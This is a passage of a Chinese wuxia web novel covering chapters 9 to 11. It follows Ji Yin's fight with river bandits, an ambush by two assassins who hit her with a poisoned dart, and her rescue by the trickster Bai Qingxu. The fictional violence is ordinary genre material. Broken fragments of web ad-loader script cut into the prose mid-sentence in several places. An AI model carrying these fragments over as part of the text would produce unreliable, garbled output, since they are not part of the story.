“我们掌门说了,人各有命,全不讲理,少管闲事,万事大吉。”白清旭摇了摇折扇:“更何况,萧公子这国派首席弟子都来了,还需要我们帮忙?” 说罢,他便拉着季音离开了杨府,徒留在场众人面面相觑。 上元大街,两人一前一后地走着,一言不发。 终究,还是季音先忍不住打破了这诡异的氛围:“臭骗子,你为什么帮我?” 她本以为此去杨府,少说要打上一场才能脱身,却不想就这样平平安安地出来了。 白清旭顿住脚步,语气悠悠道:“十两银子。” “......我就多余问你!” 她清了清嗓子:“青麟毒乃师父年轻时所制,若我记得不错,配方并未流传于江湖。所以......你怎么会有?” 白清旭轻喟一声,有些好笑地扔出了瓷瓶:“还真是个笨女人啊。” 季音一脸莫名其妙地接过:“......辣椒粉?!” 她有些不解:“既然如此,荣尘为何又要阻拦萧夙墨查证?” “因为末名派与云天派,哪个他都不想得罪。”白清旭笑道:“荣尘为官数载,左右逢源,行事圆滑,自然不会为了旁人之事惹火上身。” 季音半信半疑地盯着他:“是吗?你知道的挺多啊。” 白清旭点了点头:“嗯,毕竟像你一样脑袋空空的人还是少数。” 季音瞪了他一眼:“想挨揍是不是?那我再问你,萧夙墨为何不拆穿你我身份?你到底......是什么人?” 白清旭轻声哂笑:“那小子还欠我银子,自然不会同我对着干。至于我是什么人......”他摇了摇手中的折扇:“名满天下的大善人老板啊。” 季音翻了个白眼:“哼,被人家酒楼伙计追着打,我看是恶名满天下还差不多。” “唉,其实我与那家酒楼的老板交情极佳,别说白吃几顿饭,就算是拆了他的店,他也不会多说什么的。” 季音撇嘴:“切,大话谁不会说。” 白清旭眉梢轻挑,没有言语。 如今银钱问题已解决,是时候该完成司玄布置的历练任务了。 季音左思右想,打算先混入云天派,再想办法盗取空青扇。 这臭骗子虽不会武功,构不成什么威胁,但坑蒙拐骗,不能轻信,还是早些甩掉为妙。 念及于此,她看了看渐晚的天色:“本姑娘还有要紧事,没工夫跟你废话,恕不奉陪!” 白清旭望着她匆匆离去的身影,轻轻一笑,并未言语。 下一瞬,凛冽锋利的刃光猛地袭来。 白清旭旋身躲过,气定神闲地理着衣袍道:“许久不见,萧公子脾气倒是大了不少。” 萧夙墨敛眉,声线发硬:“三番两次坏我好事,究竟意欲何为。” 白清旭脑袋微侧:“萧公子,话可不能乱说啊。我这人行走江湖很有原则,从不坏旁人好事。如果你觉得我坏了你的事,那你肯定干的不是什么好事。” 萧夙墨不语。 白清旭道:“啧,萧公子莫不是还在怪我二王争位当晚没给你分肉串?唉,我这也是为你着想,毕竟你刺杀王钧已经够忙了,哪儿还有时间赏脸我这烤串呢。” 吏部尚书王钧骤然暴毙,此乃朝廷未解悬案,眼下却被他这般随意道出,且并非疑问,而是定言。 萧夙墨冷笑一声,双拳紧攥:“你知道了。” 白清旭咂嘴:“国派首徒,巅峰第七......啧啧,白夜澜是怎么说服你替他办事的?” 萧夙墨不答,反问道:“那么堂堂云天掌门,又为何要护一个冥麟阁的人。” 白清旭笑道:“因为她欠我钱啊。” 萧夙墨面色铁青,语调毫无波澜:“冥麟阁之人,都要死。” 白清旭恍然道:“原来今日萧公子费尽心力布下此局,只是为了杀一个刚下山的小喽啰,受教,受教了。” 说罢,他望向了对方手中紧握的藏银匕首:“皓骊剑跟着你,还真是受委屈了啊,凌苑。” 萧夙墨瞳孔骤缩。 皓骊剑,紫宸百兵榜排名第十二位,以乌金白银打造,刚劲有力,锋锐无比。 其主凌苑,镇元大将军凌霆之子,八岁读遍兵书万卷,十岁入朝觐见献驻疆良策,十二岁便千里奔袭生擒敌寇,是紫宸千百年来最为风光的少年将军。 因其年纪太轻,不宜封官授爵,恰逢天驰军惊蛰时分班师回朝,白曦便特赐“春神盛典”作为奖赏。 大街两侧,人山人海。王公贵族高楼谈笑,名商富贾把酒言欢。华台之上,少年一袭银甲,自信潇洒,化满城风雨为一剑,正应“扶摇一念销春尽,锋折京都十四街。” 江湖传言,白曦对此子的宠爱,甚至远超几位皇子。 直至震惊天下的惊九之案爆发,镇元将军府一夜之间跌下神坛,昔日辉煌尽数湮没在了叛国骂名中。 白清旭叹了口气:“老滑头告诉我,莫忆往事,未来方可明光烁亮。” “......可笑。” 尸横遍野,满门问斩,容貌尽毁,隐姓埋名。 对比来看,“莫忆往事”四个字,确然显得单薄可笑。 他看向白清旭,不知怎的,突然回想起两人第一次见面时的场景来。 那是十六年前,他完成父亲布置的课业,上街替自家小妹购置周岁礼。 彼时他还是凌府的小公子,世人眼中的小将军,只需他一声令下,便会有数不清的奇珍异宝呈至面前。但对他放在心尖儿上宠的这个妹妹,凌苑显然不会这般敷衍了事,亲自前往司夏国寻了筐晶莹璀璨的金珠不说, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还命东豫城的能工巧匠将其打造成了一条独一无二的祈福手链。 不过显然,光彩夺目的物件极为引人注意。他刚接过手链,还没来得及捂热乎,便被一小毛贼反手抢了去。 凌苑虽有武功傍身,但毕竟只是个八九岁的少年,况且此时他正身处东豫城的闹市长街,若大肆追捕,恐会伤了无辜百姓,思来想去,只得先差人去寻,至于能否捉回,怕是大海捞针,白忙一场。 “这位少侠,看你印堂发黑,元神涣散,近日必定路遇不顺,不如瞧瞧我这符,买张回去避避霉运如何?” 听得动静,凌苑回头,正对上街角一紫衣少年泛光带笑的双眸。 少年面前摆满了卦旗罗盘,站在一破破烂烂的小摊前冲他招手。虽瞧起来不过六七岁的年纪,但那副模样气派,却怎么看怎么像是行骗多年的老手神棍。 凌苑向来不信这些,冷冷瞥了一眼,转身就要离开。 “诶,留步留步!”眼见人要走,紫衣少年赶紧提高音量:“司夏的金珠确然世所罕见,不过既是送妹妹......”说罢,他从怀中掏出一猕猴布偶——布偶以金银双线交织缝制,一双眼睛亮如玛瑙,憨态可掬,脖颈处悬挂的金珠手链更是点睛之笔,衬得其栩栩如生:“凌小公子看看,此物如何?” 凌苑微怔,望着对方洋洋自得的模样,旋即了然一笑:“早便听闻云天掌门座下弟子白清旭是个游手好闲的性子,今日得见,确然如此。” 眼见被认出,白清旭也不装了:“承让承让。不过虽是游手好闲,却也替凌小公子夺回了手链。”他扬唇一笑,冲着凌苑伸出了个破破烂烂的碗:“这报酬嘛,小公子看着给喽。” 小公子,萧公子。 明明只有一字之差,却沧海桑田,物是人非。 他看向手中的藏银匕首。谁又能想到,它的前身会是那把浴血沙场的皓骊剑? 就像再也不会有人知道,当年那个意气风发的小将军,如今却只能躲在一张冰冷的面具下苟延残喘。 沉默半响,萧夙墨突然道:“她很像小惜。” 白清旭应声:“嗯,是很像。” “小惜若还活着,也该这么大了。” 见对方不作答,他又接道:“你护着她,是这个缘由?” 白清旭悠悠道:“都说了,她欠我钱。” 萧夙墨眸光陡然凌厉几分:“白清旭,你有事瞒我。” “怎么会。”白清旭摊了摊手,笑嘻嘻道:“你也知道我这人闲散逍遥惯了,有那藏事瞒人的功夫,还不如多喝几壶好酒,观几处好景。” 萧夙墨道:“既然如此,就老老实实滚回你的云天派。” “好啊,五十两,今晚就走。” 萧夙墨转身欲走的脚步一顿,手中的藏银匕首瞬间出鞘:“五十两冥币,你倒不贪。” “萧公子若实在想给我烧点儿东西,那不如就烧黄金吧,好看。” 萧夙墨却没有接话。 “棋局已开,凭你,什么也改变不了,你若再坏我计划......” 9. 淋漓一战 令人窒息的沉默,萧夙墨终是没有继续说下去,转身离开。 白清旭望着对方离去的背影,蓦地笑了:“......也好。” 暮光渐沉,东豫王城外围的千灯河畔,可见零零散散几艘游船缓缓驶过。 紫宸七城,以东豫为宏,安阳为繁,临风为侠,灵州为秀,霜余为孤,莲峰为隐。 至于那唯一以单字为名的素城,自从惊九之案爆发后,便成了座荒无人烟,满目疮痍的死城。 云天派远在灵州城,即使季音日夜兼程地赶路,待坐上由安阳城前往灵州城的客船也已是半月后。 船舱中游人很多。季音回厢房整理好衣物后,赶紧出来找了个空位坐。 毕竟司玄曾讲过,真正的江湖,往往藏于人言中。 “你们有没有听说前些日子白羽沅越狱潜逃之事?” “哎呀,知道知道!你说这事儿也奇怪,一个被关在皇城天牢的囚犯,怎么能说逃就逃了呢?他就有这么大本事?!” “要我说,还是咱们这新皇帝心太软!顾念着兄弟手足之情,到底没有赶尽杀绝!这要换了我,直接铲草除根!哪能给这种狼子野心的东西留活路!” “是啊,白羽沅谁不知道,当年仗着先帝的宠爱,性张扬,行放荡,习挥霍,喜奢华,是诸皇子中风头最盛、名声最大的!留这种人一命,那不就是给自己埋了个祸患嘛!” “谁说不是呢!当年白羽沅得势,白夜澜眼巴巴跟在他这个弟弟身后,连给人家提鞋都不配。结果呢,嘿,倒反乾坤了!” “你懂个屁!人家白羽沅的娘是谁啊,当朝皇后!白夜澜呢,亲娘病逝,不投靠皇后,不投靠白羽沅,哪儿能平安长大啊!你以为人家是真不争不抢?人家那是韬光养晦,厚积薄发!反正甭管怎么说,老子佩服他!” 果然让她听到了点儿真东西!季音心头一喜,不动声色朝邻桌所在的方向挪了挪屁股。 “白羽沅这么一逃,东豫城可就乱了套了!咱们这新帝登基登的匆忙,现在手底下用的这些人,哪个不是心眼儿比马蜂窝还多!朝政由付朝把持,打仗又是夏渊冒尖,可偏偏这俩人开始是跟白羽沅站在一边儿的!依我看,少不得要反!” “说得不错!我敢打包票,这次白羽沅越狱潜逃,肯定跟这俩人脱不了关系!” “你快别说了,妄议朝政,当心掉脑袋!眼下光景,何止东豫城乱了套,连安阳城也乱成一锅粥了!听说那白羽沅的封地就在安阳城,此番越狱是打算回来召集亲信,聚财敛富,只待来日杀到皇宫呢!” 季音抿了口茶——此话倒有些道理。这安阳城得益于西康河发达的水运,因而在紫宸七城中最为富庶,无疑是养精蓄锐,招兵买马的最佳选择。 不过也因此缘由,安阳城的百姓贫富分化极为严重,权力亦集中在一些朝廷大族手中,否则也不会有“富家指缝油,穷户吃不愁”这种口水诗流出。所以就算尊宣王逃来了,也难说这些地方势力是否真的会为他所用。 “唉,太平日子这才过了多久!十二年前闹出那么大场动静,死了那么些人,不就是这群有权有势的反来反去搞的嘛!就说那凌霆,先帝对他跟亲兄弟似的,都已经是一人之下万人之上了,好好过日子不行吗!诶,结果人家偏不知足,非得要反!连累整个凌家不说,害得九万天驰军也白白搭上性命!” “就是!这群人争来争去争个没完,苦得还不是咱们这些老百姓!” 季音吃了块点心,很是赞许地点了点头。 她虽人生阅历不多,可此种类型的话本子却没少看。 话本中讲,旁人的恩怨情仇,总会牵连许多无辜之人。世上很多事情就是这样,平白无故地来了,莫名其妙地应了,末了才发现,父与子间存冤债,兄与弟间如仇敌。 突然,船舱猛地一震,碗碟碎裂声与人们的惊呼声此起彼伏地响了起来。 季音握住茶杯的手一顿,很是头大地叹了口气。 如今客船走的这条河,正是前头提到的西康河——盐铁商贩船运交易的必经之河,亦是水匪肆虐,劫案频发之河。 她先前倒是想过会遇上水匪,却不想这么快便碰上了。 其实若只是些普通水匪还好,怕就怕遇上那种装备齐全,训练有素的水域势力。抢财劫色不提,哪怕是闹出人命,他们上面也有官僚势力相护,最终只能落得个草草了之的下场。 不过季音倒不担心这些,官府之人不出面,正合她心意。 好不容易遇上次练手的机会,可不能随便错过。 就在这时,一个满脸胡茬,提着砍刀的壮汉大摇大摆地走过来,一把拎起了坐在她邻桌的文弱男子,呲着一口黄牙凶狠发问:“想活命,就赶紧把钱都掏出来!” 文弱男子抖得跟筛子一样,哆哆嗦嗦地从怀中掏出两个钱袋。壮汉见状,夺过钱袋,文弱男子就如同断了线的纸鸢,一下便被对方甩飞出去,瞬间撞碎了两张木桌,脑袋一歪,昏死过去。 船舱中几个年纪较小的幼童,见此情形,顿时吓得哇哇大哭起来。 “都他妈给老子闭嘴!”领头的壮汉青筋暴起,边吼边抬刀劈了脚下的木凳! 清脆的碎裂声响起,人群登时安静下来。小孩们的嘴巴都被身后的大人死死捂住,几个瘦弱的姑娘也边抖边躲在了家人身后。 一旁几个水匪低头商量了些什么,开始挨个搜刮钱财,还对有些姿色的女子动手动脚。很快,两三个高出季音一头的壮汉便站在了她面前。 为首那人先是打量了季音一番,兴许是觉得她模样尚佳,又是孤身一人,油腻腻的脸上很快便浮现出了让季音恶心的笑容:“小姑娘,一个人去灵州城玩儿啊?” 季音听得胃里直倒酸水,攥紧拳头就要动手。但转念一想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,好不容易来了试炼,断没有轻易放过的道理。 于是她清清嗓子,接道:“是啊,几位大哥知不知道这附近有什么好玩的?” 对方显然来了兴趣,眼神也越发大胆:“哈哈哈哈,跟哥几个一道去,想玩什么有什么!” 不待季音答话,角落里一男子突然颤颤巍巍地冲了出来:“放......放了那位姑娘!有......有什么冲我来!” 季音扭头——此人瞧着也就二十多的年纪,穿着一袭粗布长衫,头发干净利落地用发带绑起,除了被吓到打结的舌头和手里发抖的剑,怎么看怎么像是有点儿本事的少年侠客。 为首的水匪听得此话,怒目一瞪,气势汹汹走上前,一脚便踹掉了他手里握不稳的剑。 布衣男子被吓了一跳,也不知是吓得不会走路了还是怎么,僵在原地一动不动,却仍旧哆嗦着挡在季音面前:“你们这么做......就不怕遭天谴吗?!” “天谴”二字一出,不少水匪像是听到了什么极为荒谬的事情,放肆大笑起来。 季音实在看不下去了,她拍了拍对方的肩膀:“大哥,你还行不行?” 他顶着一张白里透青的脸强撑道:“姑娘,你......你别怕!我是男人,我......我来保护你!” 季音活动了下手腕,冲着对方咧了咧嘴:“行,那你靠里点儿保护,我怕等会儿打到你!” 四年前季音年纪尚小,故而未能参加上届封神比武。可如今论起来,在英雄榜上夺个名号还是绰绰有余的。 话音未落,流云飞针瞬间飞出。银针亮似流星般闪过,仿若昙花须臾绽放。一招过后,季音衣上陡然生出几点朱褐色,倒在地上的几个水匪脸上仍挂着嘲笑之色,却已没了呼吸。 布衣男子像是看呆了,一张脸眼瞧着从方才的青色变成了紫色:“姑......姑娘,你......” 那领头的水匪一见这情形,骂骂咧咧地便朝季音扑了过来:“操他娘!你这娘们儿吃了熊心豹子胆了?!敢他妈杀我弟兄?!” 其余水匪见了,银子也不搜了,姑娘也不调戏了,挥着砍刀便冲着季音攻来。 季音瞥了布衣男子一眼,抹了把溅到脸上的血珠,翻出一块手帕朝他扔了过去:“捂好口鼻!” 下一瞬,白雾弥漫,闷哼声接二连三地响起。布衣男子只感觉几道温热溅到脸上,吓得双目紧闭,两腿忍不住地发抖。 待再听不见响动后,他缓缓睁眼,却见满脸是血的季音正在擦拭同样沾满鲜血的飞针:“师父到底是怎么做到衣不沾血的......” 布衣男子环视一周——客舱里乱七八糟地躺了一地人,水匪的尸体更是惨不忍睹,有的七窍流血,有的吐舌瞪眼,鲜血淋漓地糊了满地。 他望着季音:“姑娘......你......你究竟是什么人?” 10. 你追我逃 季音显然不能实话实话,于是反问道:“就你这胆子,怎么想着一个人出来闯荡江湖啊?” 布衣男子挠着头发:“我很向往话本中描写的江湖少侠,劫富济贫,除恶扬善,我......我想成为像他们一样的人。” 季音点了点头,又摇了摇头:“可你这连剑都握不稳,别说劫富济贫,除恶扬善了,估计恶人挥挥手就能把你扬了!” 布衣男子显得有些沮丧:“那我该怎么办?” 季音道:“你可以去江湖门派拜师啊,再或者......参军入伍?能锻炼你的心智身手不说,而且这样应该也可以建功立业,除恶扬善吧。” 末了,她不忘补充一句:“不过你若是想拜师学艺,可千万不要去末名派。那地方我打听过,教得不行!” 布衣男子红着脸道:“可......可是我总觉得参军不如闯荡江湖成名来得快......” 季音摆手:“你不是喜欢看话本吗?你看话本里那些扬名天下的大英雄,有几个是以成名为目的?而且太过功利的一般都是反派角色,没什么好下场的!” 话音未落,她突然想起自己如今在江湖上也算是个魔教反派,干笑两声找补道:“当然了,这种事也因人而异,哈哈,因人而异。” 布衣男子又道:“可是......我大哥当年参军入伍,不但没能实现满腔抱负,最后还被连累致死,尸体到现在都没能找到!” “啊?”季音有些纳闷:“你大哥若是为国捐躯,定然不会曝尸荒野吧?” 布衣男子摇了摇头:“话是这么说没错!当年天驰军为紫宸立下了赫赫战功,大哥又是镇元将军麾下最为勇猛的副将,确实受过百姓拥戴,也算是小有名气。可后来镇元将军谋反,大哥又因与他交好,甚至连辩驳的机会都没有,那日离家后便再也没有回来!” “等等!”季音手中的动作一顿:“你说你大哥是天驰军的副将?那你肯定很了解惊九之案喽?” 说到这里,布衣男子突然愤愤道:“我虽不知当年究竟发生了什么,但我还小的时候,曾远远瞧过凌霆一眼,凛然正气,不像是为了权力地位谋反之人。再加上我对大哥的了解,我不信他们会做出通敌叛国之事!” 季音瞧着对方的神情:“你的意思是......他们是被冤枉的?” 这可有点儿意思了。关于这桩案子,虽然九个人有十种说辞,但都是大同小异。冤枉此类,还是头一次听说。 听得此话,布衣男子像是泄了气般摇了摇脑袋:“听父亲说,当年杨素欢持剑登殿,慷慨陈词,听得一众官员声泪俱下,相视无言。可人证物证具在,就算是有疑点,也不足以翻案。更何况,文昭帝与凌霆,白溯淮三人最为交好,若不是有了充分的证据,文昭帝怎么会下手如此狠辣?” 他顿了一顿:“只是可怜了大哥与那九万将士,成了他们争权夺利的牺牲品。” “友情这种东西,本就是各凭良心,更何况是君臣之谊?”季音眨了眨眼:“不过像咱们这些行走江湖的,相逢即是有缘。在下姓季,单名一个音字,不知......” 布衣男子忙道:“我叫陈煜,我那位故去的大哥名唤陈嵩。” “你比我年长,我便称呼你为陈煜大哥好了。”语毕,她从怀中掏出一只瓷瓶扔给对方:“船里的人都中了我的迷魂散,麻烦你去把这解药给船家服下,让他赶紧驾船驶离此地。至于其他人......几个时辰后自然也就醒了。” 陈煜点头,起身消失在了船舱内。 突然,一枚毒镖飞过,直直刺向季音脖颈。季音听得动静,迅速向后撤身,下意识抬手抵挡,却还是晚了一步,一道鲜红血痕赫然跃于手肘之上。 这与方才那几个水匪完全不是一个等级的对手!难不成他们还有什么更厉害的同伙? 季音心中没底,却不愿输了气势,只得故作强硬道:“什么人装神弄鬼?!” “咯咯”一阵轻笑传来,矫揉的女声响起,听起来便像是捏着嗓子作魅:“人屠,大长老说的不错,果然是个有些本事的小毒物。” 人屠?问天府的十二血影之一?! 如今的紫宸江湖,五大正派自不必说,乃习武人士心向往之,名声赫赫。 但有句古话说得好,有正必有邪。冥麟阁作为魔教之首,再算上问天府、隐邺盟,三大魔教便成了江湖上令人闻风丧胆的存在。 关于问天府的兴立,那可是茶馆中的说书人最爱讲的一篇。季音在东豫城几日,早已耳熟能详,倒背如流了。 传闻云天派前任掌门徐君彦有两位亲传弟子。四年前,大弟子何洛闵为抢夺四大神器之一的空青扇,弑师叛道,发动云天内乱。可惜寡不敌众,功亏一篑,终是狼狈逃离,不知所踪。 师父暴毙,师兄叛逃,年仅十九岁的白清旭不得不担任掌门之职,主持大局。 就在众人以为一切都已经尘埃落定时,一个名为问天府的新门派却突然声躁江湖。门内十二血影各有所长,身怀绝技,很快便在武林中掀起了腥风血雨。 于是,不少被灭了满门的受害者联合起来,深入调查这问天府究竟是何方势力。 可谁能想到,最终浮出水面的问天府创立者,居然就是当年下落不明的云天派大弟子何洛闵! 据季音所知,这么多年冥麟阁与问天府向来是井水不犯河水,她也从未主动招惹过问天府之人。 但依如今的情况来看,这两人怕是从她一离开东豫城便盯上她了,可她却什么都没有发现,甚至半点异常都未察觉! 被称为人屠的男子面无表情:“彩戏,速战速决。” 人屠,十二血影中排名第四,是个毫无情感的杀人工具。彩戏,十二血影排名第七,擅长伪装与易容,负责混淆敌人视听,令人难以分辨真伪。 听闻这十二血影中,年纪最大的已七十有余,年纪最小的却不过六七岁。只是不管年龄性别,都是英雄榜上的高手便是了。 河浪撞击船舱的声音响起,想来陈煜已将解药交给了船家。 就在船身上下摇晃的一瞬间,人屠提剑刺向了季音的双目!季音连忙抬腕抵挡,却被硬生生逼得向后退了三步。 不待她反击,彩戏已是挥舞双鞭缠住了她的另一只手腕。季音随手抄起茶杯碎片去砍,人屠却从左后方朝她的脖颈抹去! 千钧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一发之际,她挣脱开来,猛地转身反手一刺,却听“吭哧”一声,碎瓷片插进了彩戏长鞭卷起的长凳中。紧接着,人屠飞身旋踢,季音躲避不及,被踢得向后飞了两丈远,直至撞到木柱上才堪堪停了下来。 她吐出嘴里的血,忍下疼痛,勉强站起身子,挤了个笑容:“两位深夜到访,什么都不说,上来就打,还是二打一,是不是有些不合江湖规矩?” 彩戏扭动腰肢,缓步朝她所在的方向走来:“小妹妹,江湖规矩姐姐我没什么兴趣。但问天府的规矩,有来必有往,有得必有失。你既敢潜入问天府,劫走杨雯,自然也该想到,要以命来偿。” 刚才那一撞够狠,季音半天缓不过劲儿来,只感觉脑袋晕乎乎的:“......你在说什么?劫走杨雯?” 彩戏戏谑一笑:“小妹妹,姐姐我可不吃装傻充愣这一套。” 杨雯......十二年前失踪的杨家大小姐,怎么会与问天府扯上联系? 下一瞬,杨雯那惨不忍睹的尸体自她脑海中浮现。 莫非杨雯的失踪乃问天府所为?莫非她身上那些伤是拜问天府所赐? 可是为什么,她根本就不认识此人,为何劫走杨雯,杀害杨雯种种,都要怀疑到她头上? 季音越想越头大,决定暂且将此事一放,待解决眼前麻烦后再去细想。 她看着舱内满地昏迷不醒的人,又转头望了眼先前已被水匪撞破的木窗。依如今情形,问天府已认定她劫走杨雯,前来灭口,恐怕她再怎么解释也无济于事。 为今之计,要想活命,只有三十六计,走为上策! 念及于此,季音努力使自己平静下来。就在彩戏挥鞭攻上来的一瞬间,她使出三段轻功,迅速挥手掷出了一把飞针,旋即抬脚踹开木窗,一个飞身跳了出去! 彩戏扬鞭,猛地向后撤了三步:“小毒物,有点儿东西。” 人屠面无表情:“追。” 今夜东南风起,不少船家为借势省力,仍撑桅扯帆,随波而行。 季音在冥麟阁这么多年,整日翻墙逃课,别的暂且不提,但这身轻功也算是被练出了个半吊子水平。 夜晚不比白日,茫茫水面漆黑一片,仅有仍在航行的船只泛出点点光亮。她一边借着脚下的桅杆与船艏死命逃窜,一边时不时扭头观望身后那两人与自己的距离。 “真是出门忘看黄历了!”她低骂一句,加快了脚下的动作。 果然功夫不负有心人。尽管双眼已被汗水沙的睁不开了,季音还是瞧见了不远处杂草丛生的河岸。 若能上岸,再凭借天然地势遮掩,逃过一劫兴许不是问题! 季音不敢耽搁,连忙全力朝河岸所在的方向赶去。 眼见彩戏的长鞭就要卷到她的脚踝,她迅速俯身向前一跃,几乎就要完全消失在杂草堆中! 可惜喽啰就是喽啰,就算她再怎么骨根清奇,天资卓越,在早已成名多年的人屠与彩戏面前,也是完全不够看的。 关键时刻,彩戏甩出鞭子,凌空而起,单脚落于长鞭之上,手腕翻动,干净利落地掷出了三枚毒镖! 下一瞬,整个河面又恢复了先前的宁静。 11. 解毒之情 人屠站在彩戏身后:“中了?” 彩戏红唇轻扬:“咱们搭档这么多年,你什么时候见我失手过?” 人屠却没有动作:“我去砍了她的头!” 彩戏懒懒道:“那毒镖上抹了见血封喉的毒。就算她是个小毒物,但在这荒郊野岭之地,怎么可能制出解药?再说了,你我今晚还有更重要的任务,没必要在这种小喽啰身上浪费时间。” 杂草堆中,季音趴在地上,龇牙咧嘴地拔掉了插在屁股上的毒镖。 “靠!有没有搞错!哪有往人家屁股上扔的?!” 季音本还想继续骂几句,奈何屁股上的刺痛愈发强烈,她只得赶紧封住周身穴位,防止毒素顺着气脉流便全身。 可惜她似乎低估了这毒的威力,还不到一盏茶的时间,整个屁股便已彻底失去了知觉。 站也站不起,爬也爬不动,季音望着眼前无边无际的杂草,叹了口气。 本想着逃到河岸上脱身的,这下倒好,亲手把自己送上绝路了。 为今之计,若想活命,就只能...... “救命啊!救命啊!”季音扯开嗓子叫道:“有没有人啊?救命啊!” 回应她的只有杂草堆里传来的沙沙声。 麻木的感觉已顺着屁股蔓延到了腰部,季音也是学毒出身,虽然解不了此毒,却也能估摸出个大概——再这样下去,自己恐怕没几个时辰好活了。 一想起任务里的空青扇连影子都没见到,甚至都没来得及再见司玄最后一面,她不禁含泪长叹:“完了!完了!出师未捷身先死啊!师父,原谅徒儿不能在您身边尽孝,您的授业恩情,徒儿只能下辈子报答了啊......” “噗嗤。” 突然一阵笑声从不远处传来,吓得季音打了个寒颤,抬起一张糊满眼泪鼻涕的脸,有些不知所措。 她又惊又喜道:“什......什么人?!” 熟悉的脚步声响起,淡紫色的身影缓缓停在了季音面前。 他左手拎着一只刚拔完毛的野鸡,右手提着两只酒壶,看上去像是准备饱餐一顿:“出师未捷身先死?笨女人,你管这叫出师?我看明明是被别人追着打。” 这欠揍到不能再欠揍的声音,讨打到不能再讨打的语调,除了那个一肚子坏水的臭骗子还能有谁? 亏季音还以为自己有救了,现在看来,就算自己没被毒死,也逃不过被这家伙气死:“......你有种再说一遍?!” 白清旭看着季音气得白里透红的脸,蹲下身子,笑着递出一块手帕:“擦擦鼻涕。” 这家伙,刚才她喊救命的时候装聋作哑就算了,现在居然还敢嘲笑她?! 念及于此,季音抓过手帕狠狠擤了下鼻涕,抬手就往他脑袋上砸:“臭骗子!信不信我砍了你!” 白清旭侧身闪过,勉强止住笑意,不慌不忙道:“这手帕可是上好的绫锦料子,笨女人,你又欠了我二十两银子。” 语毕,他望向季音鲜血直流的屁股,咋了咋嘴:“哎呀,老天开眼了啊。” 季音气得快要炸了。奈何毒素已经蔓延至四肢,她实在没力气出手还击,只得拼尽全力瞪了他一眼:“你不救就赶紧滚,在这里废什么话!” 白清旭眉梢微挑:“唉,没办法,谁让我是个爱管闲事的大善人老板呢。” “大善人?”季音翻了个白眼道:“我看是大混蛋还差不多......诶诶诶,你干嘛?!” 不待她反应,一阵头重脚轻的眩晕感便迅速传来。 白清旭一手将她扛在肩上,一手拎着野鸡和酒壶:“啧,看来冥麟阁的伙食不错啊。” 季音被他这番行径吓了一跳:“你搞什么?!” 白清旭:“不是你喊的救命?” 季音一时语塞,沉默片刻,突然抬手环住了他的脖子。 白清旭:“?” “你要是敢把我甩下来,我就勒死你!” “啊,你哪来这么大火气。” 先前的打斗外加屁股上的伤口,季音本就是硬撑到现在。如今见到这个臭骗子,虽不知他缘何会在此处,有什么目的,但不知怎的,总感觉他不会伤害自己,竟莫名其妙安下心来。 一直悬着的心松了,疲惫与疼痛便迅速替代了先前的紧张与愤怒,季音只感觉浑身无力,就这么伏在对方肩上昏睡了过去。 半梦半醒间,脑子还有些糊涂。她睡得舒坦,下意识想翻身,却惊觉自己无论如何都动弹不得! 季音吓了一跳,猛地睁眼,发现自己正被麻绳结结实实地绑在了床上。 这下她可彻底清醒了,立刻挥动双臂挣扎起来:“......什么鬼啊!这是什么地方?干嘛捆着我?!” 一旁白清旭悠悠道:“哟,醒了?” “这里是我诸多宅子中的一所,至于为何捆你......因为你的睡相实在是令人不敢恭维,大有压裂伤口,失血身亡之兆啊。” “......宅子?这不就是一茅草屋吗?还有,本姑娘的睡相一直很好,你少在这里胡说八道!”季音瞪了他一眼,下意识去摸自己的屁股。 不摸不要紧,一摸却差点儿没把她气死! 从背部开始,直至膝盖的位置,都被用细布紧紧缠了起来! 她本想质问对方一番,但又突然想起也算是这家伙救了自己,只得憋着火道:“......谁教你这么包扎伤口的?” 白清旭从壁橱中取了一双碗筷:“不然怎么包? 季音张了张嘴,却一个字都没憋出来。 伤在这个位置,确实没法包。 “虽说有些浪费,不过也算物有所值。毕竟你若因失血过多丢了小命,我大晚上的还得处理尸体,这可比包扎伤口麻烦多了。” “......就知道你没憋什么好话。”说罢,季音吸了吸鼻子:“好香啊,你煮的什么?” 白清旭侧身倚靠在灶台边,双手抱于胸前道:“本来好不容易逮住一只野鸡,想着炒个辣子鸡填填肚子。结果刚才把你扛回来的时候,辣椒不知掉到什么地方去了。没办法,只能将就着炖汤喝了。” 季音越听越觉得这话里意思不太对:“什么意思?所以你是在怪我了?” 对方却仿若没听见般,转身往碗里盛起了鸡汤。 老实说,季音今晚在那船上已吃了些点心果腹,加之中了毒,并没有觉得很饿。 但不得不说,这家伙做饭确实有两把刷子。她长这么大,还从来没有闻见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过这么香的鸡汤,一时间只感觉腹中空空,口水直流。 可“我也想吃”这种话,在这个臭骗子面前,她是无论如何也说不出口的。于是季音咽了咽口水,索性一不做二不休,坚定地将脑袋扭了过去,开始闭眼装睡。 奇怪的是,她越想赶紧入睡,鸡汤的香味便越来越浓烈,似乎已经近在咫尺了。 季音有些疑惑,睁开眼睛,却发现白清旭正端着一碗鸡汤站在自己面前。 她看了看他,又看了看那碗鸡汤:“......不会又是巴豆粉吧?” 白清旭笑道:“非也,非也。” 季音下了结论:“那就是你在里面下毒了。” 白清旭唇角一扬:“嗯,见血封喉的毒。” 在她面前玩毒? 哼,班门弄斧。 “少吹了,你还懂毒?我才不信!”季音接过鸡汤,咕咚几口喝了个精光,心满意足地点了点头:“虽然很不想承认,但你这手艺确实不错。” 下一瞬,一阵强烈的眩晕感传来,她瞳孔骤缩,不可置信地盯着白清旭:“靠!臭骗子......你真的......下毒啊......” 不待季音说完,手中的瓷碗应声而碎。 最后一丝意识尚存时,她脑中回响的是绝对不能再吃这个臭骗子递来的任何食物。 白清旭俯身捡起瓷碗碎片,缓步走至灶台旁。 锅里仍炖着鸡汤,案板前还摆着一碗辣椒。 白清旭从怀中掏出方才在杂草堆中捡到的毒镖:“问天府......” 他回头望向榻上睡得正香的季音,轻笑一声:“笨女人,你说的不错,我确实不懂毒。也罢,是时候去见一见故人了。” 